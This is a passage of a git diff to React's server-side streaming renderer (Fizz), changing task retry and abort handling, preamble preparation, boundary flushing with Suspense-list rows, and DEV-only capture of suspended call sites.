+      if (boundaryRow !== null && boundaryRow.together) {
+        tryToResolveTogetherRow(request, boundaryRow);
+      }
     }
   }
 
-  request.allPendingTasks--;
   if (request.allPendingTasks === 0) {
     completeAll(request);
   }
@@ -3718,6 +5052,10 @@ function retryRenderTask(
     // We completed this by other means before we had a chance to retry it.
     return;
   }
+
+  // We track when a Segment is rendering so we can handle aborts while rendering
+  segment.status = RENDERING;
+
   // We restore the context to what it was when we suspended.
   // We don't restore it after we leave because it's likely that we'll end up
   // needing a very similar context soon again.
@@ -3725,7 +5063,7 @@ function retryRenderTask(
   let prevTaskInDEV = null;
   if (__DEV__) {
     prevTaskInDEV = currentTaskInDEV;
-    currentTaskInDEV = task;
+    setCurrentTaskInDEV(task);
   }
 
   const childrenLength = segment.children.length;
@@ -3734,7 +5072,7 @@ function retryRenderTask(
     // We call the destructive form that mutates this task. That way if something
     // suspends again, we can reuse the same task instead of spawning a new one.
 
-    renderNodeDestructive(request, task, task.node, task.childIndex);
+    retryNode(request, task);
     pushSegmentFinale(
       segment.chunks,
       request.renderState,
@@ -3744,8 +5082,9 @@ function retryRenderTask(
 
     task.abortSet.delete(task);
     segment.status = COMPLETED;
-    finishedTask(request, task.blockedBoundary, segment);
-  } catch (thrownValue) {
+    finishedSegment(request, task.blockedBoundary, segment);
+    finishedTask(request, task.blockedBoundary, task.row, segment);
+  } catch (thrownValue: mixed) {
     resetHooksState();
 
     // Reset the write pointers to where we started.
@@ -3760,49 +5099,60 @@ function retryRenderTask(
           // (unstable) API for suspending. This implementation detail can change
           // later, once we deprecate the old API in favor of `use`.
           getSuspendedThenable()
-        : thrownValue;
+        : request.status === ABORTING
+          ? request.fatalError
+          : thrownValue;
+
+    if (request.status === ABORTING && request.trackedPostpones !== null) {
+      // We are aborting a prerender and need to halt this task.
+      const trackedPostpones = request.trackedPostpones;
+      const thrownInfo = getThrownInfo(task.componentStack);
+      task.abortSet.delete(task);
+
+      logRecoverableError(
+        request,
+        x,
+        thrownInfo,
+        __DEV__ ? task.debugTask : null,
+      );
+
+      trackPostpone(request, trackedPostpones, task, segment);
+      finishedTask(request, task.blockedBoundary, task.row, segment);
+      return;
+    }
 
     if (typeof x === 'object' && x !== null) {
       // $FlowFixMe[method-unbinding]
       if (typeof x.then === 'function') {
         // Something suspended again, let's pick it back up later.
+        segment.status = PENDING;
+        task.thenableState =
+          thrownValue === SuspenseException
+            ? getThenableStateAfterSuspending()
+            : null;
         const ping = task.ping;
-        x.then(ping, ping);
-        task.thenableState = getThenableStateAfterSuspending();
-        // We pop one task off the stack because the node that suspended will be tried again,
-        // which will add it back onto the stack.
-        if (task.componentStack !== null) {
-          task.componentStack = task.componentStack.parent;
-        }
-        return;
-      } else if (
-        enablePostpone &&
-        request.trackedPostpones !== null &&
-        x.$$typeof === REACT_POSTPONE_TYPE
-      ) {
-        // If we're tracking postpones, we mark this segment as postponed and finish
-        // the task without filling it in. If we're not tracking, we treat it more like
-        // an error.
-        const trackedPostpones = request.trackedPostpones;
-        task.abortSet.delete(task);
-        const postponeInstance: Postpone = (x: any);
-
-        const postponeInfo = getThrownInfo(request, task.componentStack);
-        logPostpone(request, postponeInstance.message, postponeInfo);
-        trackPostpone(request, trackedPostpones, task, segment);
-        finishedTask(request, task.blockedBoundary, segment);
+        // We've asserted that x is a thenable above
+        (x: any).then(ping, ping);
         return;
       }
     }
 
-    const errorInfo = getThrownInfo(request, task.componentStack);
+    const errorInfo = getThrownInfo(task.componentStack);
     task.abortSet.delete(task);
+
     segment.status = ERRORED;
-    erroredTask(request, task.blockedBoundary, x, errorInfo);
+    erroredTask(
+      request,
+      task.blockedBoundary,
+      task.row,
+      x,
+      errorInfo,
+      __DEV__ ? task.debugTask : null,
+    );
     return;
   } finally {
     if (__DEV__) {
-      currentTaskInDEV = prevTaskInDEV;
+      setCurrentTaskInDEV(prevTaskInDEV);
     }
   }
 }
@@ -3820,14 +5170,18 @@ function retryReplayTask(request: Request, task: ReplayTask): void {
   let prevTaskInDEV = null;
   if (__DEV__) {
     prevTaskInDEV = currentTaskInDEV;
-    currentTaskInDEV = task;
+    setCurrentTaskInDEV(task);
   }
 
   try {
     // We call the destructive form that mutates this task. That way if something
     // suspends again, we can reuse the same task instead of spawning a new one.
-
-    renderNodeDestructive(request, task, task.node, task.childIndex);
+    if (typeof task.replay.slots === 'number') {
+      const resumeSegmentID = task.replay.slots;
+      resumeNode(request, task, resumeSegmentID, task.node, task.childIndex);
+    } else {
+      retryNode(request, task);
+    }
 
     if (task.replay.pendingTasks === 1 && task.replay.nodes.length > 0) {
       throw new Error(
@@ -3838,7 +5192,7 @@ function retryReplayTask(request: Request, task: ReplayTask): void {
     task.replay.pendingTasks--;
 
     task.abortSet.delete(task);
-    finishedTask(request, task.blockedBoundary, null);
+    finishedTask(request, task.blockedBoundary, task.row, null);
   } catch (thrownValue) {
     resetHooksState();
 
@@ -3858,25 +5212,24 @@ function retryReplayTask(request: Request, task: ReplayTask): void {
         // Something suspended again, let's pick it back up later.
         const ping = task.ping;
         x.then(ping, ping);
-        task.thenableState = getThenableStateAfterSuspending();
-        // We pop one task off the stack because the node that suspended will be tried again,
-        // which will add it back onto the stack.
-        if (task.componentStack !== null) {
-          task.componentStack = task.componentStack.parent;
-        }
+        task.thenableState =
+          thrownValue === SuspenseException
+            ? getThenableStateAfterSuspending()
+            : null;
         return;
       }
     }
     task.replay.pendingTasks--;
     task.abortSet.delete(task);
-    const errorInfo = getThrownInfo(request, task.componentStack);
+    const errorInfo = getThrownInfo(task.componentStack);
     erroredReplay(
       request,
       task.blockedBoundary,
-      x,
+      request.status === ABORTING ? request.fatalError : x,
       errorInfo,
       task.replay.nodes,
       task.replay.slots,
+      __DEV__ ? task.debugTask : null,
     );
     request.pendingRootTasks--;
     if (request.pendingRootTasks === 0) {
@@ -3889,23 +5242,20 @@ function retryReplayTask(request: Request, task: ReplayTask): void {
     return;
   } finally {
     if (__DEV__) {
-      currentTaskInDEV = prevTaskInDEV;
+      setCurrentTaskInDEV(prevTaskInDEV);
     }
   }
 }
 
 export function performWork(request: Request): void {
-  if (request.status === CLOSED) {
+  if (request.status === CLOSED || request.status === CLOSING) {
     return;
   }
   const prevContext = getActiveContext();
   const prevDispatcher = ReactSharedInternals.H;
   ReactSharedInternals.H = HooksDispatcher;
-  let prevAsyncDispatcher = null;
-  if (enableCache || __DEV__ || !disableStringRefs) {
-    prevAsyncDispatcher = ReactSharedInternals.A;
-    ReactSharedInternals.A = DefaultAsyncDispatcher;
-  }
+  const prevAsyncDispatcher = ReactSharedInternals.A;
+  ReactSharedInternals.A = DefaultAsyncDispatcher;
 
   const prevRequest = currentRequest;
   currentRequest = request;
@@ -3930,14 +5280,13 @@ export function performWork(request: Request): void {
     }
   } catch (error) {
     const errorInfo: ThrownInfo = {};
-    logRecoverableError(request, error, errorInfo);
-    fatalError(request, error);
+    logRecoverableError(request, error, errorInfo, null);
+    fatalError(request, error, errorInfo, null);
   } finally {
     setCurrentResumableState(prevResumableState);
+
     ReactSharedInternals.H = prevDispatcher;
-    if (enableCache) {
-      ReactSharedInternals.A = prevAsyncDispatcher;
-    }
+    ReactSharedInternals.A = prevAsyncDispatcher;
 
     if (__DEV__) {
       ReactSharedInternals.getCurrentStack = prevGetCurrentStackImpl;
@@ -3956,19 +5305,142 @@ export function performWork(request: Request): void {
   }
 }
 
+function preparePreambleFromSubtree(
+  request: Request,
+  segment: Segment,
+  collectedPreambleSegments: Array<Array<Segment>>,
+): boolean {
+  if (segment.preambleChildren.length) {
+    collectedPreambleSegments.push(segment.preambleChildren);
+  }
+  let pendingPreambles = false;
+  for (let i = 0; i < segment.children.length; i++) {
+    const nextSegment = segment.children[i];
+    pendingPreambles =
+      preparePreambleFromSegment(
+        request,
+        nextSegment,
+        collectedPreambleSegments,
+      ) || pendingPreambles;
+  }
+  return pendingPreambles;
+}
+
+function preparePreambleFromSegment(
+  request: Request,
+  segment: Segment,
+  collectedPreambleSegments: Array<Array<Segment>>,
+): boolean {
+  const boundary = segment.boundary;
+  if (boundary === null) {
+    // This segment is not a boundary, let's check it's children
+    return preparePreambleFromSubtree(
+      request,
+      segment,
+      collectedPreambleSegments,
+    );
+  }
+
+  const preamble = boundary.preamble;
+  if (preamble === null) {
+    // This boundary cannot have a preamble so it can't block the flushing of
+    // the preamble.
+    return false;
+  }
+
+  const status = boundary.status;
+
+  switch (status) {
+    case COMPLETED: {
+      // This boundary is complete. It might have inner boundaries which are pending
+      // and able to provide a preamble so we have to check it's children
+      hoistPreambleState(request.renderState, preamble.content);
+      // We track this boundary's byteSize on the request since it will always flush with
+      // the request since it may contribute to the preamble
+      request.byteSize += boundary.byteSize;
+      const boundaryRootSegment = boundary.completedSegments[0];
+      if (!boundaryRootSegment) {
+        // Using the same error from flushSegment to avoid making a new one since conceptually the problem is still the same
+        throw new Error(
+          'A previously unvisited boundary must have exactly one root segment. This is a bug in React.',
+        );
+      }
+      return preparePreambleFromSubtree(
+        request,
+        boundaryRootSegment,
+        collectedPreambleSegments,
+      );
+    }
+    case POSTPONED: {
+      // This segment is postponed. When prerendering we consider this pending still because
+      // it can resume. If we're rendering then this is equivalent to errored.
+      if (request.trackedPostpones !== null) {
+        // This boundary won't contribute a preamble to the current prerender
+        return true;
+      }
+      // Expected fallthrough
+    }
+    case CLIENT_RENDERED: {
+      if (segment.status === COMPLETED) {
+        // This boundary is errored so if it contains a preamble we should include it
+        hoistPreambleState(request.renderState, preamble.fallback);
+        return preparePreambleFromSubtree(
+          request,
+          segment,
+          collectedPreambleSegments,
+        );
+      }
+      // Expected fallthrough
+    }
+    default:
+      // This boundary is still pending and might contain a preamble
+      return true;
+  }
+}
+
+function preparePreamble(request: Request) {
+  if (
+    request.completedRootSegment &&
+    request.completedPreambleSegments === null
+  ) {
+    const collectedPreambleSegments: Array<Array<Segment>> = [];
+    const originalRequestByteSize = request.byteSize;
+    const hasPendingPreambles = preparePreambleFromSegment(
+      request,
+      request.completedRootSegment,
+      collectedPreambleSegments,
+    );
+    if (isPreambleReady(request.renderState, hasPendingPreambles)) {
+      request.completedPreambleSegments = collectedPreambleSegments;
+    } else {
+      // We restore the original size since the preamble is not ready
+      // and we will prepare it again.
+      request.byteSize = originalRequestByteSize;
+    }
+  }
+}
+
 function flushPreamble(
   request: Request,
   destination: Destination,
   rootSegment: Segment,
+  preambleSegments: Array<Array<Segment>>,
+  skipBlockingShell: boolean,
 ) {
-  const willFlushAllSegments =
-    request.allPendingTasks === 0 && request.trackedPostpones === null;
-  writePreamble(
+  // The preamble is ready.
+  writePreambleStart(
     destination,
     request.resumableState,
     request.renderState,
-    willFlushAllSegments,
+    skipBlockingShell,
   );
+  for (let i = 0; i < preambleSegments.length; i++) {
+    const segments = preambleSegments[i];
+    for (let j = 0; j < segments.length; j++) {
+      flushSegment(request, destination, segments[j], null);
+    }
+  }
+  writePreambleEnd(destination, request.renderState);
 }
 
 function flushSubtree(
@@ -4016,6 +5488,9 @@ function flushSubtree(
       }
       return r;
     }
+    case ABORTED: {
+      return true;
+    }
     default: {
       throw new Error(
         'Aborted, errored or already flushed boundaries should not be flushed again. This is a bug in React.',
@@ -4024,6 +5499,10 @@ function flushSubtree(
   }
 }
 
+// Running count for how much bytes of boundaries have flushed inlined into the currently
+// flushing root or completed boundary.
+let flushedByteSize = 0;
+
 function flushSegment(
   request: Request,
   destination: Destination,
@@ -4036,6 +5515,10 @@ function flushSegment(
     return flushSubtree(request, destination, segment, hoistableState);
   }
 
+  // We're going to write the boundary. We don't need to maintain this reference since
+  // we might reflush this segment at a later time (if it aborts and we inlined) but
+  // we don't want to reflush the boundary
+  segment.boundary = null;
   boundary.parentFlushed = true;
   // This segment is a Suspense boundary. We need to decide whether to
   // emit the content or the fallback now.
@@ -4043,6 +5526,16 @@ function flushSegment(
     // Emit a client rendered suspense boundary wrapper.
     // We never queue the inner boundary so we'll never emit its content or partial segments.
 
+    const row = boundary.row;
+    if (row !== null) {
+      // Since this boundary end up client rendered, we can unblock future suspense list rows.
+      // This means that they may appear out of order if the future rows succeed but this is
+      // a client rendered row.
+      if (--row.pendingTasks === 0) {
+        finishSuspenseListRow(request, row);
+      }
+    }
+
     if (__DEV__) {
       writeStartClientRenderedSuspenseBoundary(
         destination,
@@ -4093,9 +5586,20 @@ function flushSegment(
     flushSubtree(request, destination, segment, hoistableState);
 
     return writeEndPendingSuspenseBoundary(destination, request.renderState);
-  } else if (boundary.byteSize > request.progressiveChunkSize) {
-    // This boundary is large and will be emitted separately so that we can progressively show
-    // other content. We add it to the queue during the flush because we have to ensure that
+  } else if (
+    // We don't outline when we're emitting partially completed boundaries optimistically
+    // because it doesn't make sense to outline something if its parent is going to be
+    // blocked on something later in the stream anyway.
+    !flushingPartialBoundaries &&
+    isEligibleForOutlining(request, boundary) &&
+    (flushedByteSize + boundary.byteSize > request.progressiveChunkSize ||
+      hasSuspenseyContent(boundary.contentState, flushingShell) ||
+      boundary.defer)
+  ) {
+    // Inlining this boundary would make the current sequence being written too large
+    // and block the parent for too long. Instead, it will be emitted separately so that we
+    // can progressively show other content.
+    // We add it to the queue during the flush because we have to ensure that
     // the parent flushes first so that there's something to inject it into.
     // We also have to make sure that it's emitted into the queue in a deterministic slot.
     // I.e. we can't insert it here when it completes.
@@ -4121,9 +5625,21 @@ function flushSegment(
 
     return writeEndPendingSuspenseBoundary(destination, request.renderState);
   } else {
+    // We're inlining this boundary so its bytes get counted to the current running count.
+    flushedByteSize += boundary.byteSize;
     if (hoistableState) {
       hoistHoistables(hoistableState, boundary.contentState);
     }
+
+    const row = boundary.row;
+    if (row !== null && isEligibleForOutlining(request, boundary)) {
+      // Once we have written the boundary, we can unblock the row and let future
+      // rows be written. This may schedule new completed boundaries.
+      if (--row.pendingTasks === 0) {
+        finishSuspenseListRow(request, row);
+      }
+    }
+
     // We can inline this boundary's content as a complete boundary.
     writeStartCompletedSuspenseBoundary(destination, request.renderState);
 
@@ -4193,6 +5709,7 @@ function flushCompletedBoundary(
   destination: Destination,
   boundary: SuspenseBoundary,
 ): boolean {
+  flushedByteSize = boundary.byteSize; // Start counting bytes
   const completedSegments = boundary.completedSegments;
   let i = 0;
   for (; i < completedSegments.length; i++) {
@@ -4201,6 +5718,15 @@ function flushCompletedBoundary(
   }
   completedSegments.length = 0;
 
+  const row = boundary.row;
+  if (row !== null && isEligibleForOutlining(request, boundary)) {
+    // Once we have written the boundary, we can unblock the row and let future
+    // rows be written. This may schedule new completed boundaries.
+    if (--row.pendingTasks === 0) {
+      finishSuspenseListRow(request, row);
+    }
+  }
+
   writeHoistablesForBoundary(
     destination,
     boundary.contentState,
@@ -4220,6 +5746,7 @@ function flushPartialBoundary(
   destination: Destination,
   boundary: SuspenseBoundary,
 ): boolean {
+  flushedByteSize = boundary.byteSize; // Start counting bytes
   const completedSegments = boundary.completedSegments;
   let i = 0;
   for (; i < completedSegments.length; i++) {
@@ -4236,6 +5763,20 @@ function flushPartialBoundary(
   }
   completedSegments.splice(0, i);
 
+  const row = boundary.row;
+  if (row !== null && row.together && boundary.pendingTasks === 1) {
+    // "together" rows are blocked on their own boundaries.
+    // We have now flushed all the boundary's segments as partials.
+    // We can now unblock it from blocking the row that will eventually
+    // unblock the boundary itself which can issue its complete instruction.
+    // TODO: Ideally the complete instruction would be in a single <script> tag.
+    if (row.pendingTasks === 1) {
+      unblockSuspenseListRow(request, row, row.hoistables);
+    } else {
+      row.pendingTasks--;
+    }
+  }
+
   return writeHoistablesForBoundary(
     destination,
     boundary.contentState,
@@ -4250,7 +5791,7 @@ function flushPartiallyCompletedSegment(
   segment: Segment,
 ): boolean {
   if (segment.status === FLUSHED) {
-    // We've already flushed this inline.
+    // We've already flushed this inline
     return true;
   }
 
@@ -4284,6 +5825,9 @@ function flushPartiallyCompletedSegment(
   }
 }
 
+let flushingPartialBoundaries = false;
+let flushingShell = false;
+
 function flushCompletedQueues(
   request: Request,
   destination: Destination,
@@ -4304,14 +5848,61 @@ function flushCompletedQueues(
     const completedRootSegment = request.completedRootSegment;
     if (completedRootSegment !== null) {
       if (completedRootSegment.status === POSTPONED) {
-        // We postponed the root, so we write nothing.
         return;
       }
 
-      flushPreamble(request, destination, completedRootSegment);
+      const completedPreambleSegments = request.completedPreambleSegments;
+      if (completedPreambleSegments === null) {
+        // The preamble isn't ready yet even though the root is so we omit flushing
+        return;
+      }
+
+      flushedByteSize = request.byteSize; // Start counting bytes
+      // TODO: Count the size of the preamble chunks too.
+      let skipBlockingShell = false;
+      if (enableFizzBlockingRender) {
+        const blockingRenderMaxSize = getBlockingRenderMaxSize(request);
+        if (flushedByteSize > blockingRenderMaxSize) {
+          skipBlockingShell = true;
+          const maxSizeKb = Math.round(blockingRenderMaxSize / 1000);
+          const error = new Error(
+            'This rendered a large document (>' +
+              maxSizeKb +
+              ' kB) without any Suspense ' +
+              'boundaries around most of it. That can delay initial paint longer than ' +
+              'necessary. To improve load performance, add a <Suspense> or <SuspenseList> ' +
+              'around the content you expect to be below the header or below the fold. ' +
+              'In the meantime, the content will deopt to paint arbitrary incomplete ' +
+              'pieces of HTML.',
+          );
+          const errorInfo: ThrownInfo = {};
+          logRecoverableError(request, error, errorInfo, null);
+        }
+      }
+      flushPreamble(
+        request,
+        destination,
+        completedRootSegment,
+        completedPreambleSegments,
+        skipBlockingShell,
+      );
+      flushingShell = true;
       flushSegment(request, destination, completedRootSegment, null);
+      flushingShell = false;
       request.completedRootSegment = null;
-      writeCompletedRoot(destination, request.renderState);
+      const isComplete =
+        request.allPendingTasks === 0 &&
+        request.clientRenderedBoundaries.length === 0 &&
+        request.completedBoundaries.length === 0 &&
+        (request.trackedPostpones === null ||
+          (request.trackedPostpones.rootNodes.length === 0 &&
+            request.trackedPostpones.rootSlots === null));
+      writeCompletedRoot(
+        destination,
+        request.resumableState,
+        request.renderState,
+        isComplete,
+      );
     }
 
     writeHoistables(destination, request.resumableState, request.renderState);
@@ -4354,6 +5945,7 @@ function flushCompletedQueues(
 
     // Next we emit any segments of any boundaries that are partially complete
     // but not deeply complete.
+    flushingPartialBoundaries = true;
     const partialBoundaries = request.partialBoundaries;
     for (i = 0; i < partialBoundaries.length; i++) {
       const boundary = partialBoundaries[i];
@@ -4365,9 +5957,11 @@ function flushCompletedQueues(
       }
     }
     partialBoundaries.splice(0, i);
+    flushingPartialBoundaries = false;
 
     // Next we check the completed boundaries again. This may have had
     // boundaries added to it in case they were too larged to be inlined.
+    // SuspenseListRows might have been unblocked as well.
     // New ones might be added in this loop.
     const largeBoundaries = request.completedBoundaries;
     for (i = 0; i < largeBoundaries.length; i++) {
@@ -4381,9 +5975,9 @@ function flushCompletedQueues(
     }
     largeBoundaries.splice(0, i);
   } finally {
+    flushingPartialBoundaries = false;
     if (
       request.allPendingTasks === 0 &&
-      request.pingedTasks.length === 0 &&
       request.clientRenderedBoundaries.length === 0 &&
       request.completedBoundaries.length === 0
       // We don't need to check any partially completed segments because
@@ -4392,9 +5986,7 @@ function flushCompletedQueues(
       request.flushScheduled = false;
       // We write the trailing tags but only if don't have any data to resume.
       // If we need to resume we'll write the postamble in the resume instead.
-      if (!enablePostpone || request.trackedPostpones === null) {
-        writePostamble(destination, request.resumableState);
-      }
+      writePostamble(destination, request.resumableState);
       completeWriting(destination);
       flushBuffered(destination);
       if (__DEV__) {
@@ -4405,6 +5997,7 @@ function flushCompletedQueues(
         }
       }
       // We're done.
+      request.status = CLOSED;
       close(destination);
       // We need to stop flowing now because we do not want any async contexts which might call
       // float methods to initiate any flushes after this point
@@ -4418,33 +6011,38 @@ function flushCompletedQueues(
 
 export function startWork(request: Request): void {
   request.flushScheduled = request.destination !== null;
+  // When prerendering we use microtasks for pinging work
   if (supportsRequestStorage) {
-    scheduleWork(() => requestStorage.run(request, performWork, request));
+    scheduleMicrotask(() => requestStorage.run(request, performWork, request));
   } else {
-    scheduleWork(() => performWork(request));
+    scheduleMicrotask(() => performWork(request));
   }
-  if (request.trackedPostpones === null) {
-    // this is either a regular render or a resume. For regular render we want
-    // to call emitEarlyPreloads after the first performWork because we want
-    // are responding to a live request and need to balance sending something early
-    // (i.e. don't want for the shell to finish) but we need something to send.
-    // The only implementation of this is for DOM at the moment and during resumes nothing
-    // actually emits but the code paths here are the same.
-    // During a prerender we don't want to be too aggressive in emitting early preloads
-    // because we aren't responding to a live request and we can wait for the prerender to
-    // postpone before we emit anything.
-    if (supportsRequestStorage) {
-      scheduleWork(() =>
+  scheduleWork(() => {
+    if (request.status === OPENING) {
+      request.status = OPEN;
+    }
+
+    if (request.trackedPostpones === null) {
+      // this is either a regular render or a resume. For regular render we want
+      // to call emitEarlyPreloads after the first performWork because we want
+      // are responding to a live request and need to balance sending something early
+      // (i.e. don't want for the shell to finish) but we need something to send.
+      // The only implementation of this is for DOM at the moment and during resumes nothing
+      // actually emits but the code paths here are the same.
+      // During a prerender we don't want to be too aggressive in emitting early preloads
+      // because we aren't responding to a live request and we can wait for the prerender to
+      // postpone before we emit anything.
+      if (supportsRequestStorage) {
         requestStorage.run(
           request,
           enqueueEarlyPreloadsAfterInitialWork,
           request,
-        ),
-      );
-    } else {
-      scheduleWork(() => enqueueEarlyPreloadsAfterInitialWork(request));
+        );
+      } else {
+        enqueueEarlyPreloadsAfterInitialWork(request);
+      }
     }
-  }
+  });
 }
 
 function enqueueEarlyPreloadsAfterInitialWork(request: Request) {
@@ -4490,9 +6088,9 @@ export function prepareForStartFlowingIfBeforeAllReady(request: Request) {
       ? // Render Request, we define shell complete by the pending root tasks
         request.pendingRootTasks === 0
       : // Prerender Request, we define shell complete by completedRootSegemtn
-      request.completedRootSegment === null
-      ? request.pendingRootTasks === 0
-      : request.completedRootSegment.status !== POSTPONED;
+        request.completedRootSegment === null
+        ? request.pendingRootTasks === 0
+        : request.completedRootSegment.status !== POSTPONED;
   safelyEmitEarlyPreloads(request, shellComplete);
 }
 
@@ -4515,8 +6113,8 @@ export function startFlowing(request: Request, destination: Destination): void {
     flushCompletedQueues(request, destination);
   } catch (error) {
     const errorInfo: ThrownInfo = {};
-    logRecoverableError(request, error, errorInfo);
-    fatalError(request, error);
+    logRecoverableError(request, error, errorInfo, null);
+    fatalError(request, error, errorInfo, null);
   }
 }
 
@@ -4526,14 +6124,29 @@ export function stopFlowing(request: Request): void {
 
 // This is called to early terminate a request. It puts all pending boundaries in client rendered state.
 export function abort(request: Request, reason: mixed): void {
+  if (request.status === OPEN || request.status === OPENING) {
+    request.status = ABORTING;
+  }
+
   try {
     const abortableTasks = request.abortableTasks;
     if (abortableTasks.size > 0) {
       const error =
         reason === undefined
           ? new Error('The render was aborted by the server without a reason.')
-          : reason;
-      abortableTasks.forEach(task => abortTask(task, request, error));
+          : typeof reason === 'object' &&
+              reason !== null &&
+              typeof reason.then === 'function'
+            ? new Error('The render was aborted by the server with a promise.')
+            : reason;
+      // This error isn't necessarily fatal in this case but we need to stash it
+      // so we can use it to abort any pending work
+      request.fatalError = error;
+      if (__DEV__) {
+        abortableTasks.forEach(task => abortTaskDEV(task, request, error));
+      } else {
+        abortableTasks.forEach(task => abortTask(task, request, error));
+      }
       abortableTasks.clear();
     }
     if (request.destination !== null) {
@@ -4541,8 +6154,8 @@ export function abort(request: Request, reason: mixed): void {
     }
   } catch (error) {
     const errorInfo: ThrownInfo = {};
-    logRecoverableError(request, error, errorInfo);
-    fatalError(request, error);
+    logRecoverableError(request, error, errorInfo, null);
+    fatalError(request, error, errorInfo, null);
   }
 }
 
@@ -4609,21 +6222,34 @@ export function getPostponedState(request: Request): null | PostponedState {
     request.trackedPostpones = null;
     return null;
   }
+  let replaySlots: ResumeSlots;
+  let nextSegmentId: number;
   if (
     request.completedRootSegment !== null &&
-    request.completedRootSegment.status === POSTPONED
+    // The Root postponed
+    (request.completedRootSegment.status === POSTPONED ||
+      // Or the Preamble was not available
+      request.completedPreambleSegments === null)
   ) {
-    // We postponed the root so we didn't flush anything.
+    nextSegmentId = 0;
+    // We need to ensure that on resume we retry the root. We use a number
+    // type for the replaySlots to signify this (see resumeRequest).
+    // The value -1 represents an unassigned ID but is not functionally meaningful
+    // for resuming at the root.
+    replaySlots = -1;
+    // We either postponed the root or we did not have a preamble to flush
     resetResumableState(request.resumableState, request.renderState);
   } else {
+    nextSegmentId = request.nextSegmentId;
+    replaySlots = trackedPostpones.rootSlots;
     completeResumableState(request.resumableState);
   }
   return {
-    nextSegmentId: request.nextSegmentId,
+    nextSegmentId,
     rootFormatContext: request.rootFormatContext,
     progressiveChunkSize: request.progressiveChunkSize,
     resumableState: request.resumableState,
     replayNodes: trackedPostpones.rootNodes,
-    replaySlots: trackedPostpones.rootSlots,
+    replaySlots,
   };
 }
diff --git a/packages/react-server/src/ReactFizzThenable.js b/packages/react-server/src/ReactFizzThenable.js
index 1494b4188e02..6849f16e397d 100644
--- a/packages/react-server/src/ReactFizzThenable.js
+++ b/packages/react-server/src/ReactFizzThenable.js
@@ -7,18 +7,19 @@
  * @flow
  */
 
-// Corresponds to ReactFiberWakeable and ReactFlightWakeable modules. Generally,
+// Corresponds to ReactFiberThenable and ReactFlightThenable modules. Generally,
 // changes to one module should be reflected in the others.
 
-// TODO: Rename this module and the corresponding Fiber one to "Thenable"
-// instead of "Wakeable". Or some other more appropriate name.
-
 import type {
   Thenable,
   PendingThenable,
   FulfilledThenable,
   RejectedThenable,
 } from 'shared/ReactTypes';
+import type {ComponentStackNode} from './ReactFizzComponentStack';
+
+import noop from 'shared/noop';
+import {currentTaskInDEV} from './ReactFizzCurrentTask';
 
 export opaque type ThenableState = Array<Thenable<any>>;
 
@@ -31,7 +32,7 @@ export const SuspenseException: mixed = new Error(
     '`try/catch` block. Capturing without rethrowing will lead to ' +
     'unexpected behavior.\n\n' +
     'To handle async errors, wrap your component in an error boundary, or ' +
-    "call the promise's `.catch` method and pass the result to `use`",
+    "call the promise's `.catch` method and pass the result to `use`.",
 );
 
 export function createThenableState(): ThenableState {
@@ -40,8 +41,6 @@ export function createThenableState(): ThenableState {
   return [];
 }
 
-function noop(): void {}
-
 export function trackUsedThenable<T>(
   thenableState: ThenableState,
   thenable: Thenable<T>,
@@ -107,7 +106,7 @@ export function trackUsedThenable<T>(
       }
 
       // Check one more time in case the thenable resolved synchronously
-      switch (thenable.status) {
+      switch ((thenable: Thenable<T>).status) {
         case 'fulfilled': {
           const fulfilledThenable: FulfilledThenable<T> = (thenable: any);
           return fulfilledThenable.value;
@@ -126,6 +125,9 @@ export function trackUsedThenable<T>(
       // get captured by the work loop, log a warning, because that means
       // something in userspace must have caught it.
       suspendedThenable = thenable;
+      if (__DEV__ && shouldCaptureSuspendedCallSite) {
+        captureSuspendedCallSite();
+      }
       throw SuspenseException;
     }
   }
@@ -163,3 +165,130 @@ export function getSuspendedThenable(): Thenable<mixed> {
   suspendedThenable = null;
   return thenable;
 }
+
+let shouldCaptureSuspendedCallSite: boolean = false;
+export function setCaptureSuspendedCallSiteDEV(capture: boolean): void {
+  if (!__DEV__) {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'setCaptureSuspendedCallSiteDEV was called in a production environment. ' +
+        'This is a bug in React.',
+    );
+  }
+  shouldCaptureSuspendedCallSite = capture;
+}
+
+// DEV-only
+let suspendedCallSiteStack: ComponentStackNode | null = null;
+let suspendedCallSiteDebugTask: ConsoleTask | null = null;
+function captureSuspendedCallSite(): void {
+  // This is currently only used when aborting in Fizz.
+  // You can only abort the render in Fizz and Flight.
+  // In Fiber we only track suspended use via DevTools.
+  // In Flight, we track suspended use via async debug info.
+  const currentTask = currentTaskInDEV;
+  if (currentTask === null) {
+    // eslint-disable-next-line react-internal/prod-error-codes -- not a prod error
+    throw new Error(
+      'Expected to have a current task when tracking a suspend call site. ' +
+        'This is a bug in React.',
+    );
+  }
+  const currentComponentStack = currentTask.componentStack;
+  if (currentComponentStack === null) {
+    // eslint-disable-next-line react-internal/prod-error-codes -- not a prod error
+    throw new Error(
+      'Expected to have a component stack on the current task when ' +
+        'tracking a suspended call site. This is a bug in React.',
+    );
+  }
+  suspendedCallSiteStack = {
+    parent: currentComponentStack.parent,
+    type: currentComponentStack.type,
+    owner: currentComponentStack.owner,
+    stack: Error('react-stack-top-frame'),
+  };
+  // TODO: If this is used in error handlers, the ConsoleTask stack
+  // will just be this debugTask + the stack of the abort() call which usually means
+  // it's just this debugTask.
+  // Ideally we'd be able to reconstruct the owner ConsoleTask as well.
+  // The stack of the debugTask would not point to the suspend location anyway.
+  // The focus is really on callsite which should be used in captureOwnerStack().
+  suspendedCallSiteDebugTask = currentTask.debugTask;
+}
+export function getSuspendedCallSiteStackDEV(): ComponentStackNode | null {
+  if (__DEV__) {
+    if (suspendedCallSiteStack === null) {
+      return null;
+    }
+    const callSite = suspendedCallSiteStack;
+    suspendedCallSiteStack = null;
+    return callSite;
+  } else {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'getSuspendedCallSiteDEV was called in a production environment. ' +
+        'This is a bug in React.',
+    );
+  }
+}
+
+export function getSuspendedCallSiteDebugTaskDEV(): ConsoleTask | null {
+  if (__DEV__) {
+    if (suspendedCallSiteDebugTask === null) {
+      return null;
+    }
+    const debugTask = suspendedCallSiteDebugTask;
+    suspendedCallSiteDebugTask = null;
+    return debugTask;
+  } else {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'getSuspendedCallSiteDebugTaskDEV was called in a production environment. ' +
+        'This is a bug in React.',
+    );
+  }
+}
+
+export function ensureSuspendableThenableStateDEV(
+  thenableState: ThenableState,
+): () => void {
+  if (__DEV__) {
+    const lastThenable = thenableState[thenableState.length - 1];
+    // Reset the last thenable back to pending.
+    switch (lastThenable.status) {
